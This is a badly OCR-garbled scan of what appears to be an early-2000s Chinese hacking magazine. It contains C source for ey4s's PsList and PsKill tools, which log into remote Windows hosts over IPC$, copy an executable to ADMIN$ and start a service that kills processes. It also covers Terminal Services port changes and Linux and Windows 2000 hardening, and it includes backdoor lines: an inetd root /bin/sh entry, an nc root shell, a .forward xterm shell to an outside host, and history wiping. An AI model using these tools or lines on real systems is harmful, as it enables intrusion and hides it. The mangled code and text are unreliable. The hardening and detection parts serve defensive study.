define UNKNOWN_TASK  "unknown"
define MaxProcessNum  52//
pragmacomment lib  "mpr.lib"

typedef struct Processinfo

char ProcessName 128
DWORD dwProcessID

pi
void banner
int ConnlPC  char char
DWORD GetProcessinfo  pi
intmain intargc char

char
char
argv

char

"software\\microsoft\\windows nt\\currentversion\\perflib"

char
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inti  iRet

pi TaskList  MaxProcessNum
banner

if argc==1

iRet=GetProcessinfo ~ TaskList NULL NULL NULL
printf  "\nProcessInfofor = LOCAL "

eseif argc==

iRet=GetProcessinfo  TaskList agv 1 agv 2 agv 3
printf  "\nProcess Info for s " oagy 1

else

printf  "\nUsage s<ip><UserName> <Pass>" agv O
return 1

if iRet>0

for =0 printf  "\nProcessName Process|D"

i<iRet

printf  "\n 20s d" TaskList i .ProcessName TaskList i .dwProcesslD
[

return O

DWORD GetProcessinfo  pi ProList char ip char user char pass
DWORDrc dwType dwSize i dwProcessidTitle dwProcessldCounter dwRet=

HKEY hKeyNames

LPSTRbuf =NULL p p2

CHAR szSubKey 1024 szProcessName  MAX_PATH

PPERF_DATA_BLOCK pPerf

PPERF_OBJECT_TY PEpObj

PPERF_INSTANCE_DEFINITION plnst

PPERF_COUNTER_BLOCK pCounter

PPERF_COUNTER_DEFINITION pCounterDef
HKEY ghPerfKey =NULL /I get perf data from this key
ghMachineKey = NULL /I get title index from this key
BOOL bRemote=FALSE

1

// Look for the list of counters.  Always use the neutral

/ Englishversion  regardless of the local language. We
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I/l arelooking for some particular keys  and we are always
// going to do our looking in English.  We are not going

/I to show the user the counter names  so there is no need
// to go find the corresponding name in the local language.

1

_try

if ip user pass

if ConmnlPC ip user pass =0

printf  "\nConnectto  sfailed." ip

__leave

else

bRemote=TRUE

1l or

if RegConnectRegistry ip HKEY_PERFORMANCE_DATA
ghPerfKey =ERROR_SUCCESS

printf  "\nRegConnectRegistry 1 failed d" GetLastError
__leave

if  RegConnectRegistry ip HKEY_LOCAL_MACHINE
ghMachineKey =ERROR_SUCCESS

printf  "\nRegConnectRegistry 2 faled d" GetLastError
__leave

sprintf szSubKey "8\ 03x" REGKEY_PERF MAKELANGID
LANG_ENGLISH
SUBLANG_NEUTRAL

if RegOpenKeyEx ghMachineKey szSubKey 0 KEY_READ hKeyNames
=ERROR_SUC

CESS

__leave

/[ counter names

if RegQueryValueEx hKeyNames REGSUBKEY_COUNTERS NULL dwType
NULL d

wSize = ERROR_SUCCESS

__leave
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1l

buf = LPSTR madloc dwSize

if  buf ==NULL

__leave

memset buf 0 dwSize

/I read the counter names from the registry

if RegQueryValueEx ghPerfKey REGSUBKEY_COUNTERS NULL
LPBYTE

buf dwSize = ERROR_SUCCESS

__leave

1l

/I now loop thru the counter names looking for the following counters

1l

/I1. "Process' process hame

/2. "ID Process" processid

1l

/I the buffer contains multiple null terminated strings and then

[/l finally null terminated at theend. the strings arein pairs of

// counter number and counter name.

1l

p = buf

while p

if  p>buf
for p2=p 2 isdigit p2 p2
if stricmp p  PROCESS COUNTER ==

/I look backwards for the counter number
for p2=p 2 isdigit p2 p2
strcpy szSubKey p2 1

eseif sricmp p  PROCESSID_ COUNTER ==

/I look backwards for the counter number
for p2=p 2 isdigit p2 p2
dwProcessldTitle = atol p2 1

/I next string
p = srlen p 1

/I free the counter names buffer
free  buf
/Il dlocate the initiad buffer for the performance data

dwType
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dwSize=INITIAL_SIZE
buf = LPSTR malloc dwSize
while  TRUE

if  buf ==NULL

__leave

memset buf 0 dwSize

rc=RegQueryValueEx ghPerfKey  szSubKey  NULL dwType
buf dwSize

pPerf =  PPERF_DATA _BLOCK  buf

/I check for success and valid perf data block signature

if rc == ERROR_SUCCESS
dwSize> 0
pPerf >Signature 0 == WCHAR P
pPerf >Signature 1 == WCHAR 'E
pPerf >Signature 2 == WCHAR 'R
pPerf >Signature 3 == WCHAR 'F

break
[/ if buffer isnot big enough  reallocate and try again
if rc==ERROR_MORE_DATA

dwSize =EXTEND_SIZE
buf = LPSTR realloc buf dwSize

else  leave

/I set the perf_object_type pointer

pObj =  PPERF_OBJECT_TYPE DWORD  pPef pPerf
/Nloop thru the performance counter definition records looking

/[for the process id counter and then save its offset

pCounterDef =  PPERF_COUNTER_DEFINITION DWORD
pObj >HeaderLength

for i=0 i< DWORD pObj >NumCounters i

if  pCounterDef >CounterNameTitlelndex == dwProcessldTitle

dwProcessldCounter = pCounterDef  >CounterOffset

break
pCounterDef
pinst=  PPERF_INSTANCE_DEFINITION DWORD  pObj

pObj >DefinitionLength
/' loop thru the performance instance data extracting each process name

LPBYTE

>HeaderL ength

pObj
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/l and processid
for  i=0 i< DWORD pObj >Numinstances 1 i<MaxProcessNum

/I pointer to the process name

p= LPSTR DWORD  pinst plnst >NameOffset

/I convert it to ascii

rc=

WideCharToMultiByte CP_ACP 0 LPCWSTR p 1 szProcessName
szProcessName NU

LL  NULL

/I if we cant convert the string then use a default value

if rc strcpy ProList i .ProcessName  UNKNOWN_TASK
elsestrncpy  ProList i .ProcessName

szProcessName  sizeof  ProList i .ProcessName 1

/I get the processid

pCounter =  PPERF_COUNTER_BLOCK DWORD  plnst

plnst >Bytel ength

ProList i .dwProcesslD = LPDWORD DWORD  pCounter

dwProcessldCounter

/I next process

pinst=  PPERF_INSTANCE_DEFINITION DWORD  pCounter
pCounter >Bytel ength

dwRet=i
/lend of try
__finaly

if buf free buf

RegCloseKey  hKeyNames

RegCloseKey = HKEY_PERFORMANCE_DATA
if  bRemote

chartmp 52 tmp2 96

strncpy  tmp  ip  sizeof tmp 1

wsprintf - tmp2 "W\ slhipc " tmp

WNetCancelConnection2 tmp2 CONNECT_UPDATE PROFILE TRUE

return dwRet

M
int ConnlPC  char RemoteName char User char Pass

sizeof
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NETRESOURCE nr

char RN 50 ="\\\"

strncat RN RemoteName  sizeof RN 1
strcat RN "\ipc
nr.dwType=RESOURCETYPE_ANY
nr.IpLocalName=NULL

nr.IpRemoteName=RN

nr.IpProvider=NUL L

if  WNetAddConnection2 nr Pass User FALSE ==NO_ERROR
return O

else

return 1

i
void banner

printf  "\nPsList ==>Loca and Remote process list"
"\nPower by ey4s<ey4s@21cn.com>"
“\nhttp  //eyas.3322.net"

"\n2001/6/22\n"
T
Windows2000 VC 6.0 IPC
Admin http
leyas.3322.net
ley4s
NT
ID OpenProcess
TerminateProcess
WINLOGON
GetCurrentProcess
OpenProcessToken L ookupPrivilegeVaue
AdjustTokenPrivileges
SeDebugPrivilege Idle
<1> IPC
<2> admin \system32 killsrv.exe

<3> OpenSCManager Service Control Manager  SCM
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<4> CreateService <2>
killsrv.exe
<5> StartService ID
<6> killsrv.exe
<7>
Killsrv.exe

/

Module  Killsrv.c

Date 2001/4/27

Author  eyds<ey4s@2lcn.com>
Http //ey4s.126.com

include <stdio.h>

include <windows.h>

include "function.c"

define ServiceName "PSKILL"
SERVICE_STATUS HANDLE ssh
SERVICE_STATUS ss
T
void ServiceStopped  void

ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS

ss.dwCurrentState=SERVICE_STOPPED
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP
ss.dwWin32ExitCode=NO_ERROR
ss.dwCheckPoint=0

ss.dwWaitHint=0

SetServiceStatus  ssh ss

return

M
void ServicePaused  void

ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS

ss.dwCurrentState=SERVICE_PAUSED
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP
ss.dwWin32ExitCode=NO_ERROR
ss.dwCheckPoint=0

ss.dwWaitHint=0

SetServiceStatus  ssh ss

return
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void ServiceRunning  void

ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS

ss.dwCurrentState=SERVICE_RUNNING
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP
ss.dwWin32ExitCode=NO_ERROR
ss.dwCheckPoint=0

ss.dwWaitHint=0

SetServiceStatus  ssh ss

return

W
void WINAPI servier_ctrl  DWORD Opcode  //

switch  Opcode

case SERVICE_CONTROL_STOP // Service
ServiceStopped

break

case SERVICE_CONTROL_INTERROGATE
SetServiceStatus  ssh ss

break

return

T

/I SERVICE_STOPPED
/! SERVICE_PAUSED

1l
void WINAPI ServiceMain DWORD dwArgc LPTSTR  |pszArgv

ssh=RegisterServiceCtrlHandler ~ ServiceName  servier_ctrl
if ssh

ServicePaused
return

ServiceRunning

Sleep 100

I agv O agv 1 pskill 1
flargy 2 =target agv 3 =user agv 4 =pwd agv 5 =pid
if KillPS aoi IpszArgv 5
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ServiceStopped
else
ServicePaused
return

i
voidmain DWORD dwArgc LPTSTR  IpszArgv

SERVICE_TABLE_ENTRY ste 2
ste 0 .IpServiceName=ServiceName

ste 0 .IpServiceProc=ServiceMain

ste 1 .IpServiceName=NULL

ste 1 .IpServiceProc=NULL

StartServiceCtrIDispatcher  ste

return

W

function.c ID

/

Module  function.c

Date 2001/4/28

Author  eyds<ey4s@2lcn.com>
Http //ey4s.126.com

include <windows.h>
i
BOOL SetPrivilege HANDLE hToken  LPCTSTR IpszPrivilege

TOKEN_PRIVILEGES tp
LUID luid
if LookupPrivilegeValue  NULL  IpszPrivilege luid

printf  "\nLookupPrivilegeValue error d" GetLastError
return FALSE

tp.PrivilegeCount = 1

tp.Privileges 0 .Luid=luid

if  bEnablePrivilege

tp.Privileges 0 .Attributes= SE_PRIVILEGE_ENABLED
else

tp.Privileges 0 .Attributes=0

BOOL bEnablePrivilege
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/l Enable the privilege or disable all privileges.
AdjustTokenPrivileges
hToken
FALSE
tp
sizeof TOKEN_PRIVILEGES
PTOKEN_PRIVILEGES  NULL
PDWORD  NULL
/I Call GetLastError to determine whether the function succeeded.
if  GetLastError = ERROR_SUCCESS

printf  "AdjustTokenPrivilegesfailed u\n"  GetLastError
return FALSE

return TRUE

T
BOOL KillPS DWORD id

HANDLE hProcesssNULL  hProcessToken=NULL
BOOL IsKilled=FALSE bRet=FALSE

_try

if OpenProcessToken GetCurrentProcess TOKEN_ALL_ACCESS

hProcessToken

printf  "\nOpen Current Process Token failed d" GetlLastError
__leave

[lprintf "\nOpen Current Process Token ok
if SetPrivilege  hProcessToken SE DEBUG NAME  TRUE

__leave

printf  "\nSetPrivilege ok
if hProcess=OpenProcess PROCESS ALL_ACCESS FALSE id

printf  "\nOpen Process  dfailed d" id GetLastError
__leave

[lprintf "\nOpen Process dok " id
if TerminateProcess hProcess 1

==NULL
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printf  "\nTerminateProcess failed d" GetlLastError
__leave

IsKilled=TRUE

_finally

if  hProcessToken =NULL CloseHandle  hProcessToken
if hProcess =NULL CloseHandle  hProcess

return  IsKilled

T

killsrv.exe COPY exe
killsrv.exe buff
buff exe
Pskill.c
/
Module  PsKill.c
Date 2001/6/23
Author  eyds<ey4s@2lcn.com>
Http //ey4s.126.com
PsKill ==>Local and Remote process killer for windows 2k

include "ps.h"

define EXE "killsrv.exe"

define ServiceName "PSKILL"

pragmacomment lib  "mpr.lib"
i,
1l
SERVICE_STATUS ssStatus
SC_HANDLE hSCManager=NULL  hSCService=NULL
BOOL bKilled=FALSE

charszTarget 52 = 0

]

BOOL ConnlPC  char char char i IPC
BOOL InstallServicer DWORD LPTSTR 1

BOOL WaitServiceStop /1

BOOL RemoveService I

T
intmain DWORD dwArgc LPTSTR  IpszArgv

BOOL bRet=FALSE  DbFile=FALSE



2001

chaertmp 52 = 0 RemoteFilePath 128 = 0
szUser 52 = 0 szPass 52 = O

HANDLE hFile=NULL

DWORD i=0 dwlndex=0 dwWrite dwSize=sizeof exebuff
1l

if  dwArgc==

if KillPS atoi IpszArgv 1

printf  "\nLoacl Process shavebeedkilled " IpszArgv 1
else

printf  "\nLoacl Process scan'tbekilled ErrorCode d"
IpszArgv = 1 GetLastError

return O

1l
eseif dwArgc =5

printf  "\nPSKILL ==>Local and Remote Process Killer"

"\nPower by ey4s<eyds@21cn.com>"

“\nhttp  //eyas.3322.net 2001/6/23"

"\n\nUsage s<PID> <==Killed Local Process"

"\n s<IP><User><PWD><PID> <==Killed Remote Process\n"
IpszArgv = O IpszArgv = O

return 1

1l

strncpy  szTarget  IpszArgv 1 sizeof  szTarget 1

strncpy szUser  IpszArgv 2 sizeof  szUser 1

strncpy  szPass  IpszArgv 3 sizeof  szPass 1

1l exe

sprintf  RemoteFilePath "W\ s\admin \\system32\\ s' szTarget EXE

_try

1l IPC
if ConnlPC  szTarget szUser  szPass

printf  "\nConnectto  sfailed d" szTarget  GetlLastError
return 1

printf  "\nConnectto  ssuccess " szTarget
1l exe
hFile=CreateFile RemoteFilePath GENERIC ALL

FILE_SHARE_READ|FILE_SHARE WRIT
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E

NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL

if  hFile==INVALID_HANDLE_ VALUE

printf  "\nCreatefile sfailed d" RemoteFilePath

__leave

/I
while  dwSize>dwlndex

if WriteFile hFile exebuff  dwlndex

printf  "\nWritefile s
failed d" RemoteFilePath  GetLastError
__leave

dwindex =dwWrite
/I

CloseHandle  hFile
bFile=TRUE

1l
if InstalService dwArgc IpszArgv

1l
if  WaitServiceStop

[lprintf  "\nService was stoped

else

llprintf  "\nService can't be stoped.Try to delete it."

Sleep 500
/I
RemoveService

_finally

/I
if DbFile DeleteFile  RemoteFilePath

dwSize dwlndex

NULL

GetLastError

dwWrite

NULL
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1l

if hFile =NULL CloseHandle  hFile

/IClose Service handle

if hSCService =NULL CloseServiceHandle  hSCService
/[Close the Service Control Manager handle

if hSCManager =NULL CloseServiceHandle  hSCManager
1 ipc

wsprintf - tmp "W\ s\ipc " szTarget
WNetCancelConnection2 tmp  CONNECT _UPDATE PROFILE TRUE
if bKilled

printf  "\nProcess son shavebeen

killed \n" |IpszArgv 4 IpszArgv 1

else

printf  "\nProcess son scan'tbe

killed \n" |IpszArgv 4 IpszArgv 1

return O

M
BOOL ConmnlPC  char RemoteName char User char Pass

NETRESOURCE nr

char RN 50 ="\\\"

strcat RN RemoteName

strcat RN "\ipc
nr.dwType=RESOURCETYPE_ANY
nr.IpLocalName=NULL
nr.IpRemoteName=RN
nr.IpProvider=NUL L

if  WNetAddConnection2 nr Pass User FALSE ==NO_ERROR
return TRUE

else

return FALSE

W
BOOL InstallServicer DWORD dwArgc LPTSTR  IpszArgv

BOOL bRet=FALSE
_try

//Open Service Control Manager on Local or Remote machine
hSCManager=OpenSCManager  szTarget NULL SC MANAGER ALL_ACCESS
if hSCManager==NULL
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printf  "\nOpen Service Control Manage failed d" GetlLastError
__leave

[lprintf ~ "\nOpen Service Control Manage ok

/ICreate Service

hSCService=CreateService hSCManager // handleto SCM database
ServiceName  // name of service to start

ServiceName // display name
SERVICE_ALL_ACCESS //type of accessto service
SERVICE_WIN32 OWN_PROCESS // type of service
SERVICE_AUTO_START // whento start service
SERVICE_ERROR _IGNORE // severity of service
failure

EXE /I name of binary file

NULL // name of load ordering group

NULL //tagidentifier

NULL // array of dependency names

NULL // account name

NULL /I account password

/lcreate service failed

if  hSCService==NULL

Il
if GefLastError ~ ==ERROR_SERVICE_EXISTS

[lprintf "\nService  sAlready exists" ServiceName
/lopen service

hSCService = OpenService hSCManager  ServiceName
SERVICE_ALL_ACCESS

if  hSCService==NULL

printf  "\nOpen Service failed d" GetlLastError
__leave

[lprintf  "\nOpen Service sok " ServiceName
else
printf  "\nCreateService failed d" GetlLastError

__leave

[Icreate service ok
else
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[lprintf "\nCreate Service sok " ServiceName

1l
if StartService hSCService  dwArgc  IpszArgv

[lprintf "\nStarting s."  ServiceName
Seep 20 /1 100ms
while  QueryServiceStatus  hSCService ssStatus

if ssStatus.dwCurrentState == SERVICE_START_PENDING

printf
Seep 20

ese
break

if ssStatus.dwCurrentState = SERVICE_RUNNING
printf  "\n sfailedtorun d" ServiceName GetLastError

elseif  GetLastError ==ERROR_SERVICE_ALREADY_RUNNING

llprintf "\nService  salready running."  ServiceName

else

printf  "\nStart Service  sfailed d" ServiceName  GetLastError
__leave

bRet=TRUE
[lenf of try
__finaly

return bRet

return bRet

T
BOOL WaitServiceStop  void

BOOL bRet=FALSE
[lprintf  "\nWait Service stoped"
while 1
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Sleep 100
if QueryServiceStatus  hSCService ssStatus

printf  "\nQueryServiceStatus failed d" GetLastError
break

if ssStatus.dwCurrentState==SERVICE_STOPPED

bKilled=TRUE
bRet=TRUE
break

if ssStatus.dwCurrentState==SERVICE_PAUSED

1l
bRet=ControlService hSCService SERVICE_CONTROL_STOP
break

else

printf
continue

return bRet

i
BOOL RemoveService void

/ID€elete Service
if DeleteService  hSCService

printf  "\nDeleteService failed d" GetlLastError
return FALSE

[lprintf "\nDelete Service ok
return TRUE

T
ps.h
T
include <stdio.h>
include <windows.h>

NULL
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include "function.c"
unsigned char exebuff ="
W
Windows2000 VC 6.0
http  //ey4s.126.com

killsrv.exe
admin IPC
WWW.Sysinternals.com psexec.exe

/

Module  exe2hex.c

Author  eyds<ey4s@2lcn.com>
Http  //ey4s.126.com

Date 2001/6/23

include <stdio.h>
include <windows.h>

intmain intargc char argv
HANDLE hFile

DWORD dwSize dwRead dwlndex=0
unsigned char  IpBuff=NULL

_try

if agc =2

printf  "\nUsage
__leave

s<File>" argv

hFile=CreateFile agv 1
OPEN_EXISTING  Fl
LE ATTRIBUTE_NORMAL  NULL

if  hFile==INVALID_HANDLE VALUE

printf  "\nOpenfile sfailed d" argv

__leave

dwSize=GetFileSize  hFile NULL
if dwSize==INVALID_FILE_SIZE

printf  "\nGet file size failed d"

GENERIC_READ

killsrv.exe

pskill.exe
cmd.exe
ntcmd.exe

UltraEdit
“ \XAB\x77\xCD"

FILE_SHARE_READ NULL

1 GetLastError

GetLastError
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__leave

IpBuff= unsigned char malloc  dwSize
if |pBuff

printf  "\nmalloc failed d" GetlLastError
__leave

while  dwSize>dwlndex

if ReadFile hFile IpBuff  dwlndex dwSize dwindex dwRead

printf  "\nRead file failed d' GetlLastError

__leave

dwindex =dwRead

for =0 i<dwSize i
if i 16 ==
printf  "\"\n\""

printf "\ .2X" |pBuff i

/lend of try
__finaly

if IpBuff free IpBuff
CloseHandle  hFile

return O
exeZhex killsrv.exe killsrv.exe
txt exe2hex killsrv.exe >killsrv.txt copy ps.h
Terminal Service
/shotgun
Win2000 Terminal Service

RDP

NULL
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3389
3389
System

http  //support.microsoft.com/support/kb/articles/Q187/6/23.ASP

1
Regedit Regedt32
HKEY_LOCAL_MACHINE\System\CurrentControl Set\Control\Terminal
Server\Wds\Repwd\Tds\Tcp PortNumber Oxd3d 16 3389
RDP
RDP RDP
HKEY_LOCAL_MACHINE\SY STEM\CurrentControl Set\Control\Terminal Server\WinStations
RDP TCP RDP
PortNumber
2.
" “ " Menu- File- Export cns
“ Server
Port=3389" Menu - File- Import
Terminal Service Client MS|
ActiveX Win2000 “ ”
“ " Termina
Service Client Creator
Terminal Service
Terminal Service Configration “ ” RDP
RDP TCP Microsoft RDP5.0 “ " “ ”
“ ” Everyone “
IP
IP PIG
C VB Delphi
bat TSLog.bat IP

time/t >>TSLog.log
netssat n ptep|find “ 3389" >>TSLog.log
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start Explorer
Timelt It
‘o> TSLog.log
IP Netstat n
IP p tcp tcp “r
Find “ 3389"
IP
TSLog.log TSLog.log
22 40
TCP 192.168.12.28 3389 192.168.10.123  4903ESTABLISHED
22 54
TCP 192.168.12.28 3389 192.168.12.29 1039 ESTABLISHED
TSLog.bat 3389 IP
TSLog.bat
shell
Explorer TSLog.bat Explorer start
Explorer
Shell cmd.exe word.exe start explorer shell
IP
IP TSLog.bat TSLog.log
/
Vmware Win2000 Win2000
Linux Vmware For win2000 Vmware
WWW.vmware.com
Win2000 Linux
Redhat7 Linux
Administrator Windows NT Vmware
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1 Vmware Windows NT
Vmware Vmware Configuration Wizard
Red Hat Linux Linux
Red Hat Linux “ Vmware Configuration Wizard" Linux
H \redhat7 Vmware Vmware
Linux Linux
Guest OS 2000M
Vmware For Windows 2000 2000MB
Floppy CD ROM Enabled
Host Bridge
Settings Configuration Editor
Guest OS
Windows 2000 Linux Red Hat Linux 7
Vmware For Windows 2000 Linux Red Hat Linux
“ Power On” Red Hat Linux
Red Hat Linux
VMware Tools For Linux ~ x windows
Start X X window
X Satan
Vmware
VMware Tools For Linux X Vmware
Vmware Linux Vmware Setting
VMware Tools Install
OK Linux Root
cd/
mount  t vfat /dev/fd0 /mnt
cp /mnt/'vmware linux tools.tar.gz /tmp
umount /dev/fd0
Untar the VMware Tools tar filein /tmp and install it.
cd /tmp
tar zxf vmware linux tools.tar.gz
cdvmware linux tools
Jinstall.pl VMware Tools Floppy Floppy
VMware Tools For Linux
Floppy Start X

1024x768 32Bits
VMware Tools For Linux For FreeBSD Vmware



Linux Linux
/
Custom
Root Log Email
Ivar
Root
/home /
/ root
Ivar log
/hacking
/swap
/home
98 Linux Redhat
Iiwww.redhat.com/corp/support/erratal/
Redhat6.1 Up2date Rpm
Redhat
Linux
/etc/inetd.conf {usr/sbin/inetd
Telnet  Ftp Popd Imapd Rsh
suneagle grep v" " /etclinetd.conf
ftp stream tcp nowait root lusr/sbin/tcpd inftpd | a
telnet stream tcp nowait root lusr/sbin/tcpd  in.telnetd
shell stream tcp nowait root Jusr/sbin/tcpd  in.rshd
login  stream tcp nowait root Jusr/shin/tcpd in.rlogind
talk dgram  udp wait nobody.tty Jusr/sbin/tcpd  in.talkd
ntak dgram udp wait nobody.tty Jusr/sbin/tcpd  in.ntalkd

http
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pop 3 stream tcp nowait root
imap stream tcp nowait root

linuxconf stream tcp wait root /bin/linuxconf linuxconf

exec  stream tcp nowait root /bin/sh sh

Rootshell

E \cmd>nc 192.0.0.88 512
bash id

id

uid=0 root gid=0 root
bash

groups=0  root

.rc Init
letc/rc.d/rc3.d X
S s
Jusr/shin/setup
Chkconfig Linux
K

S05apmd

S10xntpd

Sliportmap rpc
S15sound

S15netfs nfs
S20rstatd r
S20rusersd

S20rwhod

S20rwalld
S20bootparamd
S25squid

S34yppasswdd NIS
S35ypserv NIS

S35dhcpd dhcp
SA0atd cron
SA5pcmcia pcmcia
S50snmpd SNMP
Sh5named DNS

S55routed RIP
S60Ipd

“ system services’

usr/shin/tcpd  ipop3d
Jusr/sbin/tcpd
finger stream tcp nowait nobody /usr/shbin/tcpd

imapd
in.fingerd

http

Redhat
[etc/rc.d/rc5.d

Redhat

Win2000
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S60mars nwe  Netware

S60nfs NFS

S72amd automount  mount

S75gated OSPF
S80sendmail

S85httpd Web

S87yphind NIS

S90xfs X font

S95innd News

Slinuxconf

suneagle ps edfjlwc |

54
54
suneagle netstat na ip
Active Internet connections  servers and established
ProtoRecv QSend Q Loca Address Foreign Address State
tcp 0 136 192.0.088 23 192.0.05 1236 ESTABLISHED
tcp 0 0 192.0.0.88 23 192.0.0.8 1113 ESTABLISHED
tcp 0 0 192.0.0.88 139 192.0.0.8 1112 ESTABLISHED
tcp 0 0 192.0.0.88 1024 61.153.17.24 23 ESTABLISHED
tcp 0 0 192.0.088 23 192.0.0.8 1084 ESTABLISHED
tcp 0 0 0.0.00 139 0.0.0.0 LISTEN
tcp 0 0 0.0.00 80 0.0.0.0 LISTEN
tcp 0 0 0.0.00 25 0.0.0.0 LISTEN
Unix
Ivar/log Linux
Linux Ftp [etc/ftpaccess /etcl/inetd.conf
Ftp
Inetd.conf

ftp streem tcp nowait root Just/sbin/tcpd  inftpd | L i o

I ftp syslog

L

i received xferlog

o] transmitted xferlog

letc/passwd  /etc/shadow Mail News Ftp

Ftp
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[etc/ftpusers FTP Root
letc/securetty ttyp0 ttyp9  Root Console ssh [etclissue
/etc/re.d/rc/local
SUID euid=0 root
SUID SUID
suneagle find/ perm 4000 print
chmod s suid
ssh  tcp wrappers ssh
tcp wrappers Sniffer
ssh ssh Telnet/FTP
ssh  tcpwrapper
ssh tcpwrappers
inetd
Telnet FTP Finger Tcpwrapper Inetd
Tcpwrapper
In.telnetd Linux tcpwrapper

letc/hosts.allow  /etc/hosts.deny

1 IP
2 [etc/hosts.deny
ALL ALL

/etc/hosts.allow

100
/etc/groups wheel
freebsd freebsd

/bin/su
suneagle  /bin/chgrp wheel /bin/su
suneagle  /bin/chmod 4750 /bin/su

srhosts  .netrc  /etc/hosts.equiv
r Touch Chmod O
suneagle  /bin/touch /root/.rhosts /root/.netrc /etc/hosts.equiv.  /bin/chmod O /root/.rhosts
[root/.netrc /etc/hosts.equiv
Linux chattr i Root i
[etc/shadow  /etc/inetd.conf chattr i Exploit
Bash
Bash .bash_history

Root

1 .bash_profile

HISTFILESIZE=0
HISTSIZE
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2 .bash_history
suneagle In  s/dev/null HOME/ .bash_history
[etc/lilo.conf Linux
NT/win2000 Win2000 Win2000
Checklist Win2000
/springold
Windows2000
1.
15
2. Guest
Guest Guest
Guest
Guest
3
Duplicate User
NT/2000 10
197 180
4 2
Administrators
113 RunAS”
5 Administrator
Windows 2000 Administrator
Administrator
Admin
Guestone
6
“ Administrator”

10 Scripts Kiddies



2001

Login Scripts
7. “ Everyone” “ 8
“ Everyone” Win2000
“ Everyone’
“ Everyone’
8.
“ Welcome” *“ lloveyou” “ Letmein”
43 42
9.
OpenGL
10 NTFS
NTFS NTFS FAT FAT32
11
12
Windows2000
1 Win2000

MMC

http  //www.microsoft.com/windows2000/techinfo/howitworks/security/sctool set.asp
2
Windows 2000 Terminal Services 1S RAS

c2
Computer Browser service TCP/IP NetBIOS Helper
Microsoft DNS server Spooler
NTLM SSP Server
RPC Locator WINS
RPC service Workstation
Netlogon Event log

3
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\system32\drivers\etc\services

N N N - Internet TCP/IP - N N N
TCP/IP N TCP/IP TCP UDP
4

Win2000

5.

6

5

42
6

20

20

3
7

Administrator
8

9.

HK L M\Software\Mi crosoft\Windows NT\CurrentVersion\Winlogon\DontDisplayL astUserName
REG_SZ 1
10
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Loca _Machine\System\CurrentControl Set\Control\LSA  RestrictAnonymous

11

2000
Service Pack

Windows2000
1. DirectDraw

Cc2 DirectDraw

HKLM\SY STEM\CurrentControl Set\Control\GraphicsDrivers\DCI
REG_DWORD 0
2.

Windows 2000 cmd

C D
ADMIN
FAX

IPC
NetLogon
PRINT
3.
Dump

E

Dump File

—

4,
Windows2000

EFS

http
5. Temp
Temp

Temp

Windows2000 Administrators  Backup Operators

” 111

DirectX

Timeout

net share

EFS

/Iwww.mi crosoft.com/windows2000/techi nfo/howitworks/security/encrypt.asp

Temp
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http  //support.microsoft.com/support/kb/articles/Q153/1/83.asp

7.

Win2000

HKLM\SY STEM\CurrentControl Set\Control\Session Manager\Memory Management

ClearPageFileAtShutdown

8. CD ROM
9.
10. IPSec
IPSec IP
IPSec
/
LINUX
1
passwd
avk F ' 3== print
ud O
avk F length 2 ==
2
ps aef|grepinetd
inetd  UNIX
inetd s /tmp/.xxx
inetd s
inetd s
inetd
root
ps aef

1
10phtcrack
IPSec
UNIX
Solaris
Is | /etc/passwd
1 ' /etc/passwd passwd
print 1 '/etc/shadow
inetd pid
inetd s LINUX
inetd solaris
inetd ps
inetd
IXXX

kill 9 pid ps aef
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find/  name print
NIX
ps
3
/etcl/inetd.conf cat /etc/inetd.conf | grep v “ N 7
in.Xxx /bin/sh in.telnetd
inetd telnet
rootshell
4
netstat an
netstat rn
ifconfig a
5
last | more last
syslog syslog
syslog syslog syslog root
syslog
linux Is a /var/log
solaris Is @ /var/fadm
wtmp utmp messgae
6 core
RPC
100
core core
find/ namecore execls | \ core core
7 .rhosts forward
find/ name “ .rhosts’ print
find/ name “ .forward” print
HOME .rhosts
513 rlogin telnet
Unix forward HOME
forward
\usernamel* /usr/local/X11l/bin/xterm  disp hacksys.other.dom 0.0 e/bin/sh”

mail [etc/aliases

forward
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smrsh em's filter
procmail Solaris
In  s/var/mail/luser /.forward
vacation Ivar/mail/luser [ forward
“ Jusr/bin/vacation me” symlink /.forward..BACKUP
8
Is |
Is
LINUX rom V “ rpm o ”
LINUX rpm
man rpm
UNIX /bin/login login
UNIX Login telnet login
root
utmp  wtmP
shell “ strings’
login
strings MD5
UNIX md5sum md5sum md5
mdSsum b md5sum MD5 md5sum
t
inetd.conf
telnet
telnet stream tcp nowait root {usr/sbin/in.telnetd in.telnetd
usr/shin/in.telnetd
LINUX /etc/crontab
cat /etc/crontab login
/etc/red
windows trojan
rwsr  Xxr x 1
root root Xxxx .sh rootshell
setuid find perm 4000 print
9
LINUX Ismod solaris modinfo
LINUX
solaris
create_module delete_module
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/proc/module hack
knark
Knark
10
11
IDS
ISS realsecure real secure
hack  redsecure
realsecure

realsecure

realsecure

http  //www.venustech. com.cn

/proc
/proc/knark
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FRizsE Windows 2000

_I -._u-|"'"l-_-"'_

XS E‘

Windows 2000
Windows
Windows 2000
/
Windows 2000 Admin
Windows 2000
Pub

Server Name
Server Comment
Server Type

A LAN Manager workstation A LAN Manager server Windows NT/Windows
2000 workstation or server  Windows NT/Windows 2000 server that is not a domain controller
Server running a browser service asbackup  Server running the master browser service
Major_version inor_version

5 0 Windows 2000
Windows 2000

Current date Current timeis

Session IP

Share Enum
\\ip\share
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UserEnum

user test password
123
Loca GroupEnum
UseEnum FileEnum ScheduleJobEnum

winnt/system32 netapi32.dll
DLL DLL Windows
2000 API Platform SDK
MSDN “ Network Management” Network Management
Reference  >Network Management Functions Net AP
Windows 2000 IP 192.168.10.111
IPC
DWORD WNetAddConnection2 LPNETRESOURCE IpNetResource LPCTSTR

IpPassword LPCTSTR IpUsername DWORD dwFlags
LPCTSTR IpPassword  LPCTSTR IpUsername

DWORD WNetCancelConnection2 LPCTSTR IpName DWORD dwFlags BOOL fForce

WNetCancel Connection2 WNetAddConnection2
Tl = <T'.:':?‘..'-'?
JALFEUAN DN L G {
} . fEoE. "":
s B siarmppaan S8 R B R &
T Win 20M0REFRESENBIT] .;" §
e M .

net use \\XXxX.XXX. XXX.XxXx /DEL
MSDN NetUserEnum
